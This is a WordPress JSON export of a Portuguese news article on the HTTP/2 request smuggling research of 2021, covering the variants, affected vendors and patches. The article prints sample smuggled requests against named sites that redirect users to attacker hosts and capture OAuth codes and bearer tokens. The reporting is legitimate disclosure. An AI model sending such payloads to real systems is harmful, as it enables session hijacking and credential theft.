{"id":100934,"date":"2021-08-07T16:22:34","date_gmt":"2021-08-07T14:22:35","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy"},"modified":"2026-02-09T17:18:09","modified_gmt":"2026-02-09T15:18:09","slug":"novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","status":"publish","type":"post","link":"https:\/\/prohoster.info\/pt\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","title":{"rendered":"Novo ataque aos sistemas front-end-back-end, permitindo infiltrar-se nas solicita\u00e7\u00f5es.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Sistemas web onde o front-end recebe conex\u00f5es via HTTP\/2 e as passa para o back-end atrav\u00e9s de HTTP\/1.1 est\u00e3o suscet\u00edveis a uma nova variante do ataque \"HTTP Request Smuggling\", que permite, por meio do envio de solicita\u00e7\u00f5es clients formatadas de maneira espec\u00edfica, infiltrar-se no conte\u00fado das solicita\u00e7\u00f5es de outros usu\u00e1rios que est\u00e3o sendo processadas no mesmo fluxo entre o front-end e o back-end. O ataque pode ser usado para injetar c\u00f3digo JavaScript malicioso em uma sess\u00e3o com um site leg\u00edtimo, contornar sistemas de controle de acesso e interceptar par\u00e2metros de autentica\u00e7\u00e3o. <\/p>\n

A quest\u00e3o afeta proxies web, balanceadores de carga, aceleradores web, sistemas de entrega de conte\u00fado e outras configura\u00e7\u00f5es nas quais as solicita\u00e7\u00f5es s\u00e3o redirecionadas de forma front-end para back-end. O autor da pesquisa demonstrou a possibilidade de ataque em sistemas como Netflix, Verizon, Bitbucket, Netlify CDN e Atlassian, recebendo 56 mil d\u00f3lares em programas de recompensa por identifica\u00e7\u00e3o de vulnerabilidades. A presen\u00e7a do problema tamb\u00e9m foi confirmada em produtos da F5 Networks. A quest\u00e3o afeta parcialmente o mod_proxy no servidor http Apache (CVE-2021-33193), e as corre\u00e7\u00f5es s\u00e3o esperadas na vers\u00e3o 2.4.49 (os desenvolvedores foram notificados sobre o problema no in\u00edcio de maio e tiveram 3 meses para corrigir). No nginx, a possibilidade de especificar simultaneamente os cabe\u00e7alhos \"Content-Length\" e \"Transfer-Encoding\" foi bloqueada na \u00faltima vers\u00e3o (1.21.1). Ferramentas para conduzir ataques j\u00e1 foram adicionadas ao arsenal Burp e est\u00e3o dispon\u00edveis na forma de uma extens\u00e3o Turbo Intruder. <\/p>\n

O princ\u00edpio de funcionamento do novo m\u00e9todo de infiltra\u00e7\u00e3o de solicita\u00e7\u00f5es no tr\u00e1fego \u00e9 semelhante \u00e0 vulnerabilidade identificada pelo mesmo pesquisador h\u00e1 dois anos, mas limitada a front-ends que aceitam solicita\u00e7\u00f5es por HTTP\/1.1. Lembrando que, no esquema front-end-back-end, um n\u00f3 adicional \u2014 o front-end \u2014 recebe as solicita\u00e7\u00f5es dos clientes, estabelecendo uma conex\u00e3o TCP de longa dura\u00e7\u00e3o com o back-end, que processa diretamente as solicita\u00e7\u00f5es. Atrav\u00e9s dessa conex\u00e3o comum, geralmente s\u00e3o transmitidas solicita\u00e7\u00f5es de diferentes usu\u00e1rios, que seguem em sequ\u00eancia uma ap\u00f3s a outra, separadas pelos meios do protocolo HTTP. <\/p>\n

O ataque cl\u00e1ssico \u2018HTTP Request Smuggling\u2019 baseava-se na diferen\u00e7a de interpreta\u00e7\u00e3o entre front-ends e back-ends ao usar os cabe\u00e7alhos HTTP \u2018Content-Length\u2019 (que define o tamanho total dos dados na solicita\u00e7\u00e3o) e \u2018Transfer-Encoding: chunked\u2019 (que permite enviar dados em partes). Por exemplo, se o front-end suportar apenas \u2018Content-Length\u2019, mas ignorar \u2018Transfer-Encoding: chunked\u2019, um atacante pode enviar uma solicita\u00e7\u00e3o que inclua ambos os cabe\u00e7alhos, mas o tamanho em \u2018Content-Length\u2019 n\u00e3o corresponder\u00e1 ao tamanho da sequ\u00eancia chunked. Neste caso, o front-end processar\u00e1 e redirecionar\u00e1 a solicita\u00e7\u00e3o de acordo com \u2018Content-Length\u2019, enquanto o back-end esperar\u00e1 o fim do bloco baseado em \u2018Transfer-Encoding: chunked\u2019, e o restante da solicita\u00e7\u00e3o do atacante acabar\u00e1 no in\u00edcio de outra solicita\u00e7\u00e3o, enviada em seguida. <\/p>\n

Ao contr\u00e1rio do protocolo de texto HTTP\/1.1, cuja an\u00e1lise \u00e9 feita a n\u00edvel de linhas, HTTP\/2 \u00e9 um protocolo bin\u00e1rio que manipula blocos de dados de tamanho previamente definido. No entanto, em HTTP\/2, s\u00e3o utilizados pseudo-cabe\u00e7alhos correspondentes aos cabe\u00e7alhos comuns do HTTP. Ao interagir com o back-end pelo protocolo HTTP\/1.1, o front-end traduz esses pseudo-cabe\u00e7alhos para os cabe\u00e7alhos equivalentes do HTTP\/1.1. O problema \u00e9 que o back-end toma decis\u00f5es sobre a an\u00e1lise do fluxo com base nos cabe\u00e7alhos HTTP fornecidos pelo front-end, sem ter informa\u00e7\u00f5es sobre os par\u00e2metros da solicita\u00e7\u00e3o original. <\/p>\n

Inclusivamente, os valores \u2018content-length\u2019 e \u2018transfer-encoding\u2019 podem ser passados na forma de pseudo-cabe\u00e7alhos, embora no HTTP\/2 eles n\u00e3o sejam utilizados, pois o tamanho de todos os dados \u00e9 definido em um campo separado. No entanto, durante o processo de convers\u00e3o da solicita\u00e7\u00e3o HTTP\/2 para HTTP\/1.1, esses cabe\u00e7alhos s\u00e3o transferidos e podem confundir o back-end. Existem duas variantes principais de ataque: H2.TE e H2.CL, nas quais o back-end \u00e9 enganado por um valor incorreto de transfer-encoding ou content-length que n\u00e3o corresponde ao tamanho real do corpo da solicita\u00e7\u00e3o recebida pelo front-end via protocolo HTTP\/2.

\"Novo<\/center> <\/p>\n

Como exemplo do ataque H2.CL, \u00e9 mencionado a especifica\u00e7\u00e3o de um tamanho incorreto no pseudo-cabe\u00e7alho content-length ao enviar uma solicita\u00e7\u00e3o HTTP\/2 para a Netflix. Esta solicita\u00e7\u00e3o resulta na adi\u00e7\u00e3o de um cabe\u00e7alho HTTP an\u00e1logo Content-Length ao se conectar ao backend usando HTTP\/1.1, mas como o tamanho especificado em Content-Length \u00e9 menor do que o real, uma parte dos dados no final \u00e9 tratada como o in\u00edcio da pr\u00f3xima solicita\u00e7\u00e3o. <\/p>\n

Por exemplo, a solicita\u00e7\u00e3o HTTP\/2 :method\tPOST :path\t\/n :authority\twww.netflix.com content-length\t4 abcdGET \/n HTTP\/1.1 Host: 02.rs?x.netflix.com Foo: bar <\/p>\n

Resultar\u00e1 no envio ao backend da seguinte solicita\u00e7\u00e3o: POST \/n HTTP\/1.1 Host: www.netflix.com Content-Length: 4 abcdGET \/n HTTP\/1.1 Host: 02.rs?x.netflix.com Foo: bar <\/p>\n

Como o Content-Length tem o valor 4, o back-end interpretar\u00e1 como corpo da solicita\u00e7\u00e3o apenas \u2018abcd\u2019, enquanto o restante \u2018GET \/n HTTP\/1.1\u2026\u2019 ser\u00e1 tratado como o in\u00edcio da solicita\u00e7\u00e3o seguinte, vinculada a outro usu\u00e1rio. Consequentemente, haver\u00e1 uma desincroniza\u00e7\u00e3o do fluxo e, em resposta \u00e0 pr\u00f3xima solicita\u00e7\u00e3o, ser\u00e1 devolvido o resultado do processamento da solicita\u00e7\u00e3o forjada. No caso da Netflix, a inclus\u00e3o de um host externo no cabe\u00e7alho \u2018Host:\u2019 na solicita\u00e7\u00e3o forjada resultou na sa\u00edda para o cliente da resposta \u2018Location: https:\/\/02.rs?x.netflix.com\/n\u2019 e permitiu a transmiss\u00e3o de conte\u00fado arbitr\u00e1rio ao cliente, incluindo a execu\u00e7\u00e3o de seu c\u00f3digo JavaScript no contexto do site da Netflix. <\/p>\n

A segunda variante do ataque (H2.TE) est\u00e1 relacionada \u00e0 inser\u00e7\u00e3o do cabe\u00e7alho \"Transfer-Encoding: chunked\". O uso do pseudo-cabe\u00e7alho transfer-encoding no HTTP\/2 \u00e9 proibido pela especifica\u00e7\u00e3o e solicita\u00e7\u00f5es que o utilizam devem ser tratadas como inv\u00e1lidas. Apesar disso, algumas implementa\u00e7\u00f5es de front-ends n\u00e3o consideram este requisito e permitem o uso do pseudo-cabe\u00e7alho transfer-encoding no HTTP\/2, que \u00e9 convertido em um cabe\u00e7alho equivalente do HTTP. Com o cabe\u00e7alho \"Transfer-Encoding\" presente, o backend pode interpret\u00e1-lo como mais priorit\u00e1rio e realizar a an\u00e1lise de dados em partes no modo \"chunked\", usando blocos de diferentes tamanhos no formato \"{tamanho}\\r\\n{bloco}\\r\\n{tamanho}\\r\\n{bloco}\\r\\n0\", apesar da separa\u00e7\u00e3o inicial por tamanho total. <\/p>\n

A exist\u00eancia de tal brecha foi demonstrada com o exemplo da Verizon. Neste caso, o problema estava relacionado ao portal de autentica\u00e7\u00e3o e do sistema de gerenciamento de conte\u00fado<\/a>, que tamb\u00e9m \u00e9 utilizado em sites como Huffington Post e Engadget. Por exemplo, a solicita\u00e7\u00e3o do cliente por HTTP\/2: :method\tPOST :path\t\/identitfy\/XUI :authority\tid.b2b.oath.com transfer-encoding\tchunked 0 GET \/oops HTTP\/1.1 Host: psres.net Content-Length: 10 x=\" <\/p>\n

Levou \u00e0 transmiss\u00e3o de uma solicita\u00e7\u00e3o HTTP\/1.1 ao backend: POST \/identity\/XUI HTTP\/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET \/oops HTTP\/1.1 Host: psres.net Content-Length: 10 x= <\/p>\n

O backend, por sua vez, ignorou o cabe\u00e7alho \"Content-Length\" e realizou a separa\u00e7\u00e3o do fluxo com base em \"Transfer-Encoding: chunked\". Na pr\u00e1tica, o ataque permitiu redirecionar os pedidos dos usu\u00e1rios para seu site, al\u00e9m de interceptar requisi\u00e7\u00f5es relacionadas \u00e0 autentica\u00e7\u00e3o OAuth, cujos par\u00e2metros apareciam no cabe\u00e7alho Referer, e simular uma sess\u00e3o de autentica\u00e7\u00e3o para iniciar o envio das credenciais do usu\u00e1rio para o host do atacante. GET \/b2blanding\/show\/oops HTTP\/1.1 Host: psres.net Referer: https:\/\/id.b2b.oath.com\/?\u2026&code=secret GET \/ HTTP\/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik\u2026 <\/p>\n

Para atacar implementa\u00e7\u00f5es do HTTP\/2 que n\u00e3o permitem a inclus\u00e3o do pseudo-cabe\u00e7alho transfer-encoding, foi sugerido um outro m\u00e9todo, que envolve a inser\u00e7\u00e3o do cabe\u00e7alho \"Transfer-Encoding\" por meio da sua anexa\u00e7\u00e3o a outros pseudo-cabe\u00e7alhos, separando-os por um caractere de nova linha (na transforma\u00e7\u00e3o para HTTP\/1.1, nesse caso, s\u00e3o criados dois cabe\u00e7alhos HTTP separados). <\/p>\n

Por exemplo, a problem\u00e1tica mencionada afetou o Atlassian Jira e o Netlify CDN (utilizado para servir a p\u00e1gina inicial da Mozilla no Firefox). Em particular, a solicita\u00e7\u00e3o HTTP\/2 :method\tPOST :path\t\/ :authority\tstart.mozilla.org foo\tb\\r\\n transfer-encoding: chunked 0\\r\\n \\r\\n GET \/ HTTP\/1.1\\r\\n Host: evil-netlify-domain\\r\\n Content-Length: 5\\r\\n \\r\\n x= <\/p>\n

resultou no envio ao backend da solicita\u00e7\u00e3o HTTP\/1.1 POST \/ HTTP\/1.1\\r\\n Host: start.mozilla.org\\r\\n Foo: b\\r\\n Transfer-Encoding: chunked\\r\\n Content-Length: 71\\r\\n \\r\\n 0\\r\\n \\r\\n GET \/ HTTP\/1.1\\r\\n Host: evil-netlify-domain\\r\\n Content-Length: 5\\r\\n \\r\\n x= <\/p>\n

Outra op\u00e7\u00e3o para substituir o cabe\u00e7alho «Transfer-Encoding» foi anex\u00e1-lo ao nome de outro pseudo-cabe\u00e7alho ou \u00e0 linha do m\u00e9todo de solicita\u00e7\u00e3o. Por exemplo, ao acessar o Atlassian Jira, o nome do pseudo-cabe\u00e7alho «foo: bar\r\ntransfer-encoding» com o valor «chunked» gerou a adi\u00e7\u00e3o dos cabe\u00e7alhos HTTP «foo: bar» e «transfer-encoding: chunked», enquanto a indica\u00e7\u00e3o no pseudo-cabe\u00e7alho «:method»\tv com valor «GET \/ HTTP\/1.1\r\nTransfer-encoding: chunked» foi traduzida para «GET \/ HTTP\/1.1\r\ntransfer-encoding: chunked». <\/p>\n

O pesquisador que identificou o problema tamb\u00e9m prop\u00f4s uma t\u00e9cnica de tunelamento de solicita\u00e7\u00f5es para realizar ataques em front-ends, onde para cada endere\u00e7os IP<\/a> uma conex\u00e3o separada \u00e9 estabelecida com o backend e o tr\u00e1fego de diferentes usu\u00e1rios n\u00e3o se mistura. A t\u00e9cnica proposta n\u00e3o permite interferir nas solicita\u00e7\u00f5es de outros usu\u00e1rios, mas possibilita o envenenamento do cache compartilhado, influenciando o processamento de outras solicita\u00e7\u00f5es, e permite a substitui\u00e7\u00e3o dos cabe\u00e7alhos HTTP internos, usados para transmitir informa\u00e7\u00f5es operacionais do frontend para o backend (por exemplo, ao realizar a autentica\u00e7\u00e3o no frontend, informa\u00e7\u00f5es sobre o usu\u00e1rio atual podem ser enviadas ao backend nesses cabe\u00e7alhos). Como exemplo do uso desse m\u00e9todo na pr\u00e1tica, atrav\u00e9s do envenenamento de cache foi poss\u00edvel obter controle sobre as p\u00e1ginas no servi\u00e7o Bitbucket.
\n
Fonte: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

Web-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043f\u043e HTTP\/2 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0431\u044d\u043a\u0435\u043d\u0434\u0443 \u043f\u043e HTTP\/1.1, \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043d\u043e\u0432\u043e\u043c\u0443 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0443 \u0430\u0442\u0430\u043a\u0438 «HTTP Request Smuggling», \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0432\u043a\u043b\u0438\u043d\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u043c\u044b\u0445 \u0432 \u0442\u043e\u043c \u0436\u0435 \u043f\u043e\u0442\u043e\u043a\u0435 \u043c\u0435\u0436\u0434\u0443 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434\u043e\u043c \u0438 \u0431\u044d\u043a\u0435\u043d\u0434\u043e\u043c. \u0410\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e JavaScript-\u043a\u043e\u0434\u0430 \u0432 \u0441\u0435\u0430\u043d\u0441 \u0441 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":100935,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-100934","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Novo ataque a sistemas frontend-backend, permitindo interferir nas solicita\u00e7\u00f5es | ProHoster","description":"Sistemas web nos quais o frontend aceita conex\u00f5es via HTTP\/2 e as transmite para o backend via HTTP\/1.1 foram afetados por uma nova variante de ataque chamada \"HTTP Request Smuggling\", que permite a manipula\u00e7\u00e3o atrav\u00e9s do envio de solicita\u00e7\u00f5es especialmente formatadas.","canonical_url":"https:\/\/prohoster.info\/pt\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"pt_PT","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041d\u043e\u0432\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434-\u0431\u044d\u043a\u0435\u043d\u0434, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u043a\u043b\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u044b | ProHoster","og:description":"Web-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043f\u043e HTTP\/2 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0431\u044d\u043a\u0435\u043d\u0434\u0443 \u043f\u043e HTTP\/1.1, \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043d\u043e\u0432\u043e\u043c\u0443 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0443 \u0430\u0442\u0430\u043a\u0438 "HTTP Request Smuggling", \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0445.","og:url":"https:\/\/prohoster.info\/pt\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-08-07T14:22:35+00:00","article:modified_time":"2026-02-09T15:18:09+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"100934","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-08-07 15:27:20","updated":"2026-02-09 15:18:09","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/pt\/wp-json\/wp\/v2\/posts\/100934","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/pt\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/pt\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/pt\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/pt\/wp-json\/wp\/v2\/comments?post=100934"}],"version-history":[{"count":2,"href":"https:\/\/prohoster.info\/pt\/wp-json\/wp\/v2\/posts\/100934\/revisions"}],"predecessor-version":[{"id":158412,"href":"https:\/\/prohoster.info\/pt\/wp-json\/wp\/v2\/posts\/100934\/revisions\/158412"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/pt\/wp-json\/wp\/v2\/media\/100935"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/pt\/wp-json\/wp\/v2\/media?parent=100934"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/pt\/wp-json\/wp\/v2\/categories?post=100934"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/pt\/wp-json\/wp\/v2\/tags?post=100934"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}